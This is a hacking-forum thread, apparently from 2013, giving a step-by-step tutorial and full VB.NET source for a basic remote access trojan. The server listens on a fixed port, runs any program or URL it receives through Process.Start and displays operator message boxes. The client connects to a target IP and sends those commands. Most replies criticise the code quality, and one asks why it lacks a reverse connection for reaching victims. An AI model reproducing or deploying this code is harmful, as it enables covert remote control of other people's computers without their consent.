Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

.NET 

[VERY BAD CODE]Basic .NET RAT .Coder.

THIS IS VERY BAD CODE BUT YOU CAN USE IF YOU WANT.Basic .NET RAT(Its not the best) IF you dont like don't hate! find someone else to criticize

Hello HF users! Today I'm going to teach you how to make a basic .NET RAT.

Here are a Few pictures of my RAT. Remember its basic.
Spoiler (Click to View)

Right lets get started! Firsts things first Create a new Project in Visual Studio or what ever you have and name it "server" without ""

Double click the form to get on the coding page.

Okays at the very top type this:
Code
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

Now under Form1 type:
Code
Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Dim place As String
This set the port to 6961 and allow connection between to server and the client.

To do that we have to make a listen sub but this un what you just did:
Code
Private Sub listen()
  Try
    tcpc.Start()
    sock = tcpc.AcceptTcpClient()
  Catch ex As Exception
  End Try

    End Sub
Under that make a new sub:
Code
Private Sub check()
  If sock.Connected = True Then
    sock.SendTimeout = 5000
    Try
    Dim nstream As NetworkStream = sock.GetStream
    Dim bit(sock.ReceiveBufferSize) As Byte
    nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
    Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
    Dim id() As String = Split(str, "*", -1, CompareMethod.Text)

    If id(0) = 0 Then
    Dim stri As String = id(1)
    Process.Start(stri)
    End If

    If id(0) = 1 Then
    Dim stri As String = id(1)
    MsgBox(id(1))
    End If

    Catch ex As Exception
    check()
    End Try
  End If
    End Sub
This allows you to choose what functions your RAT has. This on has:
Code
If id(0) = 0 Then
    Dim stri As String = id(1)
    Process.Start(stri)
    End If

    If id(0) = 1 Then
    Dim stri As String = id(1)
    MsgBox(id(1))
    End If
Which allows the use of website visits and messagebox's. You can add more by making another one and changing the "msgbox" to what you want.

All we have to do now is add the Form1 code:
Code
Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  While sock.Connected = False
    Try
    listen()
    Catch ex As Exception
    End Try
  End While

  While True
    check()
  End While
  Me.Hide()
    End Sub
End Class

This is the Sever done! just build and save.

Lets get on with the Client You can have yours anyway you like, I choose my design because I like it to look cool with this feature:
[Image: IvYjkBe.gif]

What you need:

4 textbox's
3 buttons
1 label

First we need to import our stuffff, At the top type :
Code
Imports System.Net
Imports System.Net.Sockets

Now under where it says "Public class Form1" type
Code
Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961
As you can see we used the same port so we can connect to to server.

Now we make a new Sub:
Code
Private Sub connect()
  ip = IPAddress.Parse(TextBox1.Text)
  port = TextBox2.Text
  Try
    sock.Connect(ip, port)
    MsgBox("You have Connected", MsgBoxStyle.Information, "Connected")
    Label1.Text = "Connected"

  Catch ex As Exception
    MsgBox("Can not connect to designated ip at this time" + ex.Message)
  End Try
    End Sub
This gets the IP and Port that you used in the text box's to connect to.

New sub:
Code
Private Sub dat(ByVal dat As String)
  Dim nstream As NetworkStream = sock.GetStream()
  Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
  nstream.Write(bit, 0, bit.Length)

This allows the client to connect to the IP.

Now for the buttons:

Button1
Code
connect()
  TextBox3.Cursor = Cursors.IBeam
  TextBox4.Cursor = Cursors.IBeam

Button2
Code
dat("0*" + TextBox3.Text)

Button3
Code
dat("1*" + TextBox4.Text)

I have other features with the Me.close button as you can see In the GIF. allow set your text boxs curser To the blocked sign so it is blocked untill You connect.

Full Source.

Server:
Code
Imports System.Net
Imports System.Net.Sockets
Imports System.IO
Imports Microsoft.Win32

Public Class Form1
    Dim port As Integer = 6961
    Dim sock As New TcpClient()
    Dim tcpc As New TcpListener(port)
    Dim place As String

    Private Sub listen()
  Try
    tcpc.Start()
    sock = tcpc.AcceptTcpClient()
  Catch ex As Exception
  End Try

    End Sub

    Private Sub check()
  If sock.Connected = True Then
    sock.SendTimeout = 5000
    Try
    Dim nstream As NetworkStream = sock.GetStream
    Dim bit(sock.ReceiveBufferSize) As Byte
    nstream.Read(bit, 0, CInt(sock.ReceiveBufferSize))
    Dim str As String = System.Text.Encoding.ASCII.GetString(bit)
    Dim id() As String = Split(str, "*", -1, CompareMethod.Text)

    If id(0) = 0 Then
    Dim stri As String = id(1)
    Process.Start(stri)
    End If

    If id(0) = 1 Then
    Dim stri As String = id(1)
    MsgBox(id(1))
    End If

    Catch ex As Exception
    check()
    End Try
  End If
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  While sock.Connected = False
    Try
    listen()
    Catch ex As Exception
    End Try
  End While

  While True
    check()
  End While
  Me.Hide()
    End Sub
End Class

Client:
Code
Imports System.Net
Imports System.Net.Sockets

Public Class Form1
    Dim sock As New TcpClient()
    Dim ip As IPAddress = IPAddress.Parse("127.0.0.1")
    Dim port As Integer = 6961
    Private Sub connect()
  ip = IPAddress.Parse(TextBox1.Text)
  port = TextBox2.Text
  Try
    sock.Connect(ip, port)
    MsgBox("You have Connected", MsgBoxStyle.Information, "Connected")
    Label1.Text = "Connected"

  Catch ex As Exception
    MsgBox("Can not connect to designated ip at this time" + ex.Message)
  End Try
    End Sub

    Private Sub dat(ByVal dat As String)
  Dim nstream As NetworkStream = sock.GetStream()
  Dim bit As [Byte]() = System.Text.Encoding.ASCII.GetBytes(dat)
  nstream.Write(bit, 0, bit.Length)
    End Sub

    Private Sub Button3_Click(sender As Object, e As EventArgs)
  dat("1*" + TextBox4.Text)
    End Sub

    Private Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
  Label1.Text = "Disconnected"
    End Sub

    Private Sub GuI_Buttons1_Click(sender As Object, e As EventArgs) Handles GuI_Buttons1.Click
  connect()
  TextBox3.Cursor = Cursors.IBeam
  TextBox4.Cursor = Cursors.IBeam
    End Sub

    Private Sub PictureBox1_Click(sender As Object, e As EventArgs) Handles PictureBox1.Click
  dat("0*" + TextBox3.Text)
    End Sub

    Private Sub PictureBox2_Click(sender As Object, e As EventArgs) Handles PictureBox2.Click
  dat("1*" + TextBox4.Text)
    End Sub

    Private Sub PictureBox3_Click(sender As Object, e As EventArgs) Handles PictureBox3.Click
  Me.Close()
    End Sub
End Class

Thank you for Taking this in hope it help thanks to --([-S7N-])--For some code.

My project, Just the client not there server or Post asking for it and ill PM you both.

DOWNLOAD VIA DROPBOX: https://www.dropbox.com/s/tdcjzg9b4becjna/Client.rar

Please dont copy my thread It took alot of time to make this!!!!

Thanks!

.Coder.
Nice TUT man, With this basics is easy to introduce to "hard" and advanced things.

Keep learning! :D
(Sep 23, 2013 11:38 AM)Asp1r3-At0m Wrote:  Nice TUT man, With this basics is easy to introduce to "hard" and advanced things.

Keep learning! :D

Thanks man means alot and yes it does help people and me get a better understanding of RAT's now people can add there own features. :)
Looks good, I hoped you havent just copy-pasted this tutorial.
If you made it yourself, good job!:)
(Sep 23, 2013 11:45 AM)Madara-Uchiha Wrote:  Looks good, I hoped you havent just copy-pasted this tutorial.
If you made it yourself, good job!:)

I can swear one my life I made it my self took 1 hour too as I was watch Dexter at the same time + GIF aha. Thanks though!!!
this is old u should move to async socket
You didn't even use an serialization, using a split is a very bad method. I'd recommend you learning async sockets, and please use some OOP code.
This is taken straight from an oold RAT source which is really shitty. People, please don't use this source.
Probably coding some useless shit.
Why is this not reverse connection? If you're using this method, then you would have to retrieve the victim's IP in order to "hack" them.
Its a finished RAT, Its for people to learn from. And there is nothing wrong with it read the title, "BASIC .NET RAT". Sorry for disappointing.
(Sep 23, 2013 12:40 PM).Coder. Wrote:  Its a finished RAT, Its for people to learn from. And there is nothing wrong with it read the title, "BASIC .NET RAT". Sorry for disappointing.

Calling it "basic" doesn't justify teaching people horrible habits.
Probably coding some useless shit.
(Sep 23, 2013 12:42 PM)ubbelol Wrote:  Calling it "basic" doesn't justify teaching people horrible habits.
Dont mean you have do be mean about it. Its nice for people that dont know. And to mess around with.
(Sep 23, 2013 12:33 PM)ubbelol Wrote:  This is taken straight from an oold RAT source which is really shitty. People, please don't use this source.

What Ubbe said, don't use this as example.
(Sep 23, 2013 12:43 PM)TheBarret Wrote:  What Ubbe said, don't use this as example.
Can you please explain what is wrong with it?
(Sep 23, 2013 12:43 PM).Coder. Wrote:  Dont mean you have do be mean about it. Its nice for people that dont know. And to mess around with.

I'm not being mean, I'm trying to keep people from learning from bad examples. It's especially bad for people who are new to networking in C#, it's better to just learn it the correct way from the beginning..
Probably coding some useless shit.


Possibly Related Threads...
Thread / Author Replies Views Last Post
[C#] by ElectricPainJun 25, 2019 03:14 AM 1 194 Jun 25, 2019 03:14 AM
Last Post: HFDone
[.NET] by --([-S7N-])--Dec 3, 2015 04:02 PM 337 31,986 Dec 3, 2015 04:02 PM
Last Post: flash1
[C] by rootuserFeb 13, 2015 08:10 AM 6 330 Feb 13, 2015 08:10 AM
Last Post: Mouse❤️